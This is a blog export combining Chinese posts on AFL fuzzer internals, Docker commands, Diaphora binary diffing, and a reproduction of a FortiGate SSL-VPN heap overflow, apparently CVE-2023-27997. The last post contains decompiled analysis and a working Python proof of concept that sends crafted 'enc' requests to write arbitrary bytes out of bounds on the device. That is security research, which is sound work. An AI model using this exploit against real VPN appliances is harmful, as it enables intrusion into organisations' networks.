  • 生成Effector map。这个结构的作用是使得AFL对文件格式有一定的判断,从而提高效率。如果将某个字节完全反转,也不能导致路径发生变化,那么这个字节可能就是data,对fuzz来说意义不大,在Effector map中标记为0,表示该字节无效,在以后变异中跳过这些字节,以节省资源。

  • bitflip 8/8阶段,以字节为单位进行翻转。在满足不是dumb mode和len >= 128的条件下,计算cksum,如果cksum != queue_cur->exec_cksum,那么标记eff_map[EFF_APOS(stage_cur)] = 1,即代表这个字节值得变异。

  • bitflip 16/8阶段,以2字节为单位进行翻转,但是会跳过eff_map[EFF_APOS(stage_cur)]为0的字节。

  • bitflip 32/8阶段,以2字节为单位进行翻转,同样会跳过eff_map[EFF_APOS(stage_cur)]为0的字节。

ARITHMETIC INC/DEC阶段

byte加减法策略。

  • arith 8/8阶段,每8个bit,进行加减运算。
  • arith 16/8阶段,每16个bit,进行加减运算。
  • arith 32/8阶段,每32个bit,进行加减运算。
  • 会跳过被eff_map认为无效的字段,以及跳过被变异过的测试样例。

INTERESTING VALUES阶段

byte替换策略。

  • interest 8/8,每8个bit进行替换。
  • interest 16/8,每16个bit进行替换。
  • interest 32/8,每32个bit进行替换。
  • 会跳过被eff_map认为无效的字段,以及跳过被变异过的测试样例。

DICTIONARY STUFF阶段

替换或插入tokens。

RANDOM HAVOC阶段

dumb fuzz,完全随机的变异。

sync_fuzzers

读取其他fuzzer的测试样例,并进行测试,如果出现新路径,就保存到自己的queue文件夹里。

trim_case

修剪测试样例。

  • 如果测试样例小于5,则直接返回。

  • 计算len_p2,len_p2 = next_p2(q->len),remove_len=1/16 * len_p2 。

    1
    2
    3
    4
    5
    6
    7
    static u32 next_p2(u32 val) {

    u32 ret = 1;
    while (val > ret) ret <<= 1;
    return ret;

    }
  • 进入循环,循环跳出条件是remove_len< 1/1024 * len_p2。

    • 跳过in_buf从remove_pos偏移处的trim_avail字节,写入到.cur_input中。
    • 调用**fault = run_target(argv, exec_tmout)**,cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST)。
    • 如果cksum == q->exec_cksum,就把原本测试样例中少去的这段给删除,实现了测试样例的简化。
    • 否则remove_pos += remove_len。
    • show_stats()
  • 如果needs_write存在,则删除原测试样例,将简化后的测试样例写到同名文件中。

  • 返回fault。

calculate_score

根据速度,覆盖路径数,路径深度计算出一个得分,havoc变异阶段用。

common_fuzz_stuff

写测试样例进文件并进行测试。

  • 如果post_handler存在,则先执行out_buf = post_handler(out_buf, &len),对测试样例进行处理。
  • 调用write_to_testcase(out_buf, len),写入.cur_input。
  • 调用fault = run_target(argv, exec_tmout)。
  • 如果fault == FAULT_TMOUT,返回1。
  • 调用queued_discovered += save_if_interesting(argv, out_buf, len, fault)。
  • show_stats()。
  • 返回0。

write_to_testcase

从mem写len到.cur_input中。

save_if_interesting

如果这个测试样例很有趣就保存下来,保存就返回1,否则返回0.

  • 如果fault == crash_mode,但是没有出现新路径并且路径命中次数相同,则直接返回0.
  • 调用add_to_queue(fn, len, 0),添加新测试样例到队列中。
  • 调用queue_top->exec_cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST)。
  • 调用calibrate_case(argv, queue_top, mem, queue_cycle - 1, 0)评估queue。
  • 根据fault的值进行不同处理。

simplify_trace

  • 8字节一组,遍历trace_bits。

    • 如果mem不为空,mem8[i] = simplify_lookup[mem8[i]]。

    • 否则*mem = 0x0101010101010101ULL,即代表这8个路径都没有命中。

参考链接

https://eternalsakura13.com/2020/08/23/afl/

https://www.z1r0.top/2023/03/23/AFL-fuzz%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/#simplify-trace

https://forum.butian.net/share/2092

零零散散用过几次docker,不过由于使用次数少,所以经常会忘记它的命令,这次系统地整理并记录一下常用的指令。

镜像相关

查看镜像

1
docker image ls

拉取镜像

1
docker pull image_name

删除镜像

1
docker rmi image_id

容器相关

创建并启动容器

1
docker run -it --name="xxx" -v /local_path:/docker_path image_id /bin/sh

启动/停止容器

1
docker start/stop container_id

删除容器

1
docker rm container_id

进入容器

1
docker exec -it container_id /bin/sh

Docker 镜像制作

容器转为镜像

1
docker commit container_id image_name:version

编辑文件

Vscode下载Remote-sshDocker插件,之后就可以远程连上去进行编辑。

前几天打了datacon,需要寻找埋在二进制文件里的漏洞。一种不错的方式是找两个版本靠近二进制文件进行diff一下。之前笔者都是通过bindiff+ghidra来进行diff二进制文件的,对于看习惯了IDA界面的我而言,总感觉ghidra界面看起来不够舒服。于是找到了diaphora这个IDA的插件(项目地址:https://github.com/joxeankoret/diaphora ),专门用来对二进制文件进行diff,使用起来也极为简单便捷。这这里记录一下使用方法。

首先用IDA打开第一个二进制文件,File->Script file里选择diaphora.py。弹出Diaphora界面后直接点击OK,把第一个文件的数据导入数据库中,记住sqlite的位置。等待Diaphora运行完毕之后,即可关闭第一个IDA界面。

然后用IDA打开第二个二进制文件,用同样的方式运行diaphora.py之后,把刚才生成的sqlite的路径填到,SQLite database to diff against中,再点击OK运行。

运行完成之后即可看到diff的结果,看起来很舒服。

前言

复现完 CVE-2022-42475之后,便关注到了此漏洞。这是一个由于边界大小判断不当,从而导致的一个堆上越界写的漏洞,可实现任意命令执行。由于笔者的逆向能力不是很好,本漏洞也是跟着其他师傅的博客复现而成,如果本文中的描述有什么不准确的地方,还请各位师傅海涵。

漏洞分析

漏洞出现在 sslvpnenc参数处理的函数中,这里把他重命名为 parse_enc_data

1
2
3
4
5
6
7
8
9
10
11
12
13
v22 = find_header(*(_QWORD *)(v11 + 744), (const char *)&byte_3347915);
if ( v22 && (int)parse_enc_data(v11, a1, v22) < 0 )
{
log___(v11, 8LL, (__int64)"could not decode 'enc' data properly.");
v16 = 4100;
LABEL_20:
if ( *((__int64 *)v19 + 405) > 0 )
sub_16FD7E0(*a1, v19 + 3240);
sprintf(v97, "/remote/error?msg=%d", v16);

.rodata:0000000003347915 65 byte_3347915 db 'e' ; DATA XREF: sub_1729160+6F↑o .rodata:0000000003347915 ; sub_17300E0+1B7↑o ...
.rodata:0000000003347916 6E db 'n'
.rodata:0000000003347917 63 db 'c'

函数中,先是判断了 enc的长度是否大于 11并且是否是偶数。如果 enc的长度大于 11并且是偶数才会进行接下来进一步的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *enc)
{
...

v25 = __readfsqword(0x28u);
v4 = strlen(enc);
enc_raw_len = v4;
v19 = v4;
if ( v4 <= 11 || (v4 & 1) != 0 )
{
log___(a1, 8LL, (__int64)"enc data length invalid (%d)\n", (unsigned int)v4);
return 0xFFFFFFFFLL;
}

接着是用 md5对密钥流进行初始化。其中 salt由服务器产生,可通过请求 /remote/info获取到它的值,enc的前八个字节由我们控制,还有一个固定的字符串。接着根据 (enc_raw_len >> 1) + 1 分配缓冲区。并对 enc传入的数据进行处理,并赋值到分配的堆上。具体处理方式就是将原来传进来的字符串,以两个字节的 ascii码看成一个新的字节。比如传进来的是 010203040506abcdefgh字符串,那么就会转为 \x01\x02\x03\x04\x05\x06\xab\xcd\xef\xgh储存到堆上,并在末尾置零。这大概也就是为什么之前分配空间时,以输入长度的 1/2进行分配的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
sub_17318E0(salt, (__int64)enc, 8, (__int64)md5);
ptr = (const char *)sub_16D1AC0(*pool, (enc_raw_len >> 1) + 1);
if ( ptr )
{
v5 = 0LL;
do
{
v6 = sub_175BD40(enc[2 * v5]);
ptr[v5] = sub_175BD40(enc[2 * v5 + 1]) + 16 * v6;
++v5;
}
while ( v19 > 2 * (int)v5 );
v7 = ((unsigned int)(enc_raw_len - 1) >> 1) + 1;
if ( enc_raw_len <= 0 )
v7 = 1;
ptr[v7] = 0;

unsigned __int64 __fastcall sub_17318E0(char *salt, __int64 enc, int len, __int64 md5)
{
__int64 v6; // rax
char v8[104]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v9; // [rsp+68h] [rbp-28h]

v9 = __readfsqword(0x28u);
MD5_Init(v8);
v6 = strlen(salt);
MD5_Update((__int64)v8, (__int64)salt, v6);
MD5_Update((__int64)v8, enc, len);
MD5_Update((__int64)v8, (__int64)"GCC is the GNU Compiler Collection.", 35LL);
MD5_Final(md5, (__int64)v8);
return v9 - __readfsqword(0x28u);
}

(gdb) x/s 0x7f20df4decf8
0x7f20df4decf8: "010203040506abcdefgh"
(gdb) x/20bx 0x7f20df4decf8
0x7f20df4decf8: 0x30 0x31 0x30 0x32 0x30 0x33 0x30 0x34
0x7f20df4ded00: 0x30 0x35 0x30 0x36 0x61 0x62 0x63 0x64
0x7f20df4ded08: 0x65 0x66 0x67 0x68

(gdb) x/20bx 0x7f20df4ded10
0x7f20df4ded10: 0x01 0x02 0x03 0x04 0x05 0x06 0xab 0xcd
0x7f20df4ded18: 0xef

接下来解密部分的伪代码我感觉是IDA反编译有问题(或者是笔者逆向功底不够)。根据汇编,笔者认为三处加了注释的地方均有问题,正确的伪代码应该如注释所示。也就是enc_raw_len-5real_size进行比较。判断的是 raw_size经过 xor之后得到的 real_size是否存在。并且循环次数是 real_size - 1。所以这里就会存在一个堆溢出。因为是通过**(enc_raw_len >> 1) + 1分配的堆空间,而解密的循环次数(real_size)则可以完全被我们控制,并且只要满足enc_raw_len-5>real_size即可。也就是只要满足(enc_raw_len >> 1) + 1<real_size<enc_raw_len-5**,就可以实现堆上越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
raw_size = *((_WORD *)v8 + 2);
real_size = (unsigned __int8)(raw_size ^ md5[0]);
BYTE1(real_size) = md5[1] ^ HIBYTE(raw_size);
if(enc_raw_len - 5 <= (unsigned __int8)(raw_size ^ md5[0]) ) //enc_raw_len-5<=real_size
{
...
}
...
data_ptr = v8 + 6;
ptr = data_ptr;
if ( (unsigned __int8)raw_size != md5[0] ) // if (real_size)
{
real_size_1 = (unsigned int)(unsigned __int8)(raw_size ^ md5[0]) - 1;
// real_size_1 = real_size - 1;
cnt = 0LL;
v15 = 2;
while ( 1 )
{
data_ptr[cnt] ^= md5[v15]; // bof
if ( real_size_1 == cnt )
break;
v15 = ((_BYTE)cnt + 3) & 0xF;
if ( (((_BYTE)cnt + 3) & 0xF) == 0 )
{
v20 = real_size;
MD5_Init(v23);
MD5_Update((__int64)v23, (__int64)md5, 16LL);
MD5_Final((__int64)md5, (__int64)v23);
real_size = v20;
}
data_ptr = ptr;
++cnt;
}
data_ptr = &ptr[(unsigned __int16)real_size];
}
*data_ptr = 0;


.text:0000000001731714 48 83 C2 06 add rdx, 6
.text:0000000001731718 48 89 95 40 FF FF FF mov [rbp+ptr], rdx
.text:000000000173171F 45 85 C0 test r8d, r8d
.text:0000000001731722 0F 84 87 00 00 00 jz loc_17317AF
.text:0000000001731728 45 8D 68 FF lea r13d, [r8-1]

漏洞利用

这里的异或会导致前面的数据被污染,同时原作者也提供了一种很好的思路。即利用二次异或值不变的特性,加上末尾置零的特性,来实现向后越界写任意数据。作者给出的例子是在溢出偏移为 5000的位置上写 \x50。计算出所需的 seed后。第一次来实现末尾置零,第二次恢复前面数据的同时,也成功把偏移为 5000的地方改成了 \x50

我利用该思路,尝试把溢出偏移为 0x10的值改为 0xaa。我申请的堆块大小为 0xfe8,溢出偏移为 0x10处应该是 0x7f20de80a010,可以发现被成功修改为 0xaa。接着循环利用此方式,即可实现写任意长度数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) i r rsi
rsi 0xfe8 4072
(gdb) ni
0x000000000173164e in ?? ()
(gdb) i r rax
rax 0x7f20de809018 139779148648472
(gdb) x/10gx 0x7f20de809018
0x7f20de809018: 0x565f15f46de5e4e9 0xd60a439f3f849e41
0x7f20de809028: 0x8e8abb7027401e05 0xcf46b2988c0117ee
0x7f20de809038: 0x772fe4c73b4664a1 0xb1087fe34b7b5a7b
0x7f20de809048: 0x90ac9ccd1e18d43f 0xbc94283552ba72f5
0x7f20de809058: 0x35d4acf803fde83a 0x913d36fe9630a124

...
(gdb) x/10gx 0x7f20de809018+0xfe8
0x7f20de80a000: 0x0000000000000000 0x0000000000000000
0x7f20de80a010: 0x00000000000000aa 0x0000000000000000
0x7f20de80a020: 0x0000000000000000 0x0000000000000000
0x7f20de80a030: 0x0000000000000000 0x0000000000000000
0x7f20de80a040: 0x0000000000000000 0x0000000000000000

剩下的则是如何控制程序执行流,这与之前写过的CVE-2022-42475大同小异,在此则不过多叙述。最后给出写一字节的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import ssl
import time
import socket
import struct
import hashlib


IP = "192.168.229.163"
PORT = 4443

p32 = lambda x: struct.pack("<I", x)

def create_ssl_socket(_ip, _port):
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((_ip, _port))
_context = ssl._create_unverified_context()
_ssl_socket = _context.wrap_socket(_socket)
return _ssl_socket


class Expliot(object):
def __init__(self, _ip, _port):
self.ip = _ip
self.port = _port
self.salt = None

def get_salt(self, _socket):
_request = """GET /remote/info HTTP/1.1\r\nHost: %s:%d\r\nConnection: close\r\n\r\n""" % (self.ip, self.port)
_socket.sendall(_request.encode())
if b"salt" not in (salt := _socket.recv(1024)):
print("[-] Get salt fault")
exit(0)
self.salt = salt[salt.find(b"salt")+6:salt.find(b"salt")+14]

def calc_packet_data_size(self, _size):
self.BLOCK_HEAD = 0x18
self.PACKET_SIZE = _size
self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6
alloc_size = self.PACKET_SIZE
alloc_size -= self.BLOCK_HEAD
# target = (inlen >> 1) + 1
inlen = (alloc_size - 1) << 1
# inlen consists of a header of size 12 followed by the data in hexa
inlen_data = inlen - 12
inlen_unhex = inlen_data >> 1

self.packet_data_size = inlen_unhex

def calc_md5(self, _seed):
assert len(_seed) == 8

return hashlib.md5(self.salt + _seed + b"GCC is the GNU Compiler Collection.").digest()

def create_payload(self, size=None, _seed="00000000"):
md5 = self.calc_md5(_seed.encode())
# print(md5)
max_size = self.packet_data_size * 2

if size is None:
size = max_size
elif size > max_size:
print("create_payload: size > max_size")
exit(0)
len_high = (size >> 8) ^ md5[1]
len_low = (size & 0xFF) ^ md5[0]

data = bytes((len_low, len_high)) + b"1" * self.packet_data_size
print(hex(size))
print(hex(size & 0xFF))
print(hex(size >> 8))
payload = _seed + data.hex()

return payload

def get_seed_for_md5_byte(self, pos, value):
distance = self.DISTANCE + pos
distance += 2
MD5_LEN = 16
rounds, offset = divmod(distance, MD5_LEN)
print(self.DISTANCE)
print(divmod(distance, MD5_LEN))
md5 = hashlib.md5

for _seed in range(2**24):
_seed = "00" + p32(_seed)[:3].hex()
hash = self.calc_md5(_seed.encode())
keystream = hash
for i in range(rounds):
hash = md5(hash).digest()
keystream += hash
if hash[offset] == value:
print(_seed)
print(keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1].hex())
return _seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1]
print("[-] unable to get seed")
exit(0)

def send_payload(self, _sock, _data):
_data = "ajax=1&username=asdf&realm=&enc=%s" % _data
if len(_data) > 0x10000:
print("[-] payload too long")
exit(0)
_request = """POST /remote/hostcheck_validate HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0\r\nContent-Type: text/plain;charset=UTF-8\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\n%s""" % (self.ip, self.port, len(_data), _data)
# print(_request)
_sock.sendall(_request.encode())
_responce = _sock.recv(2048)


if __name__ == '__main__':

exp = Expliot(IP, PORT)
salt_sock = create_ssl_socket(IP, PORT)
exp.get_salt(salt_sock)
salt_sock.close()

print(exp.salt)

exp.calc_packet_data_size(0x1000)
# print(hex(exp.packet_data_size))

payload = exp.create_payload()

sock = create_ssl_socket(IP, PORT)

offset = 0x10
value = 0xaa
seed, _ = exp.get_seed_for_md5_byte(offset, value)
payload = exp.create_payload(exp.DISTANCE+offset, seed)
exp.send_payload(sock, payload)
payload = exp.create_payload(exp.DISTANCE+offset+1, seed)
exp.send_payload(sock, payload)
sock.close()

参考链接

https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html

https://labs.watchtowr.com/xortigate-or-cve-2023-27997/

https://blog.lexfo.fr/xortigate-cve-2023-27997.html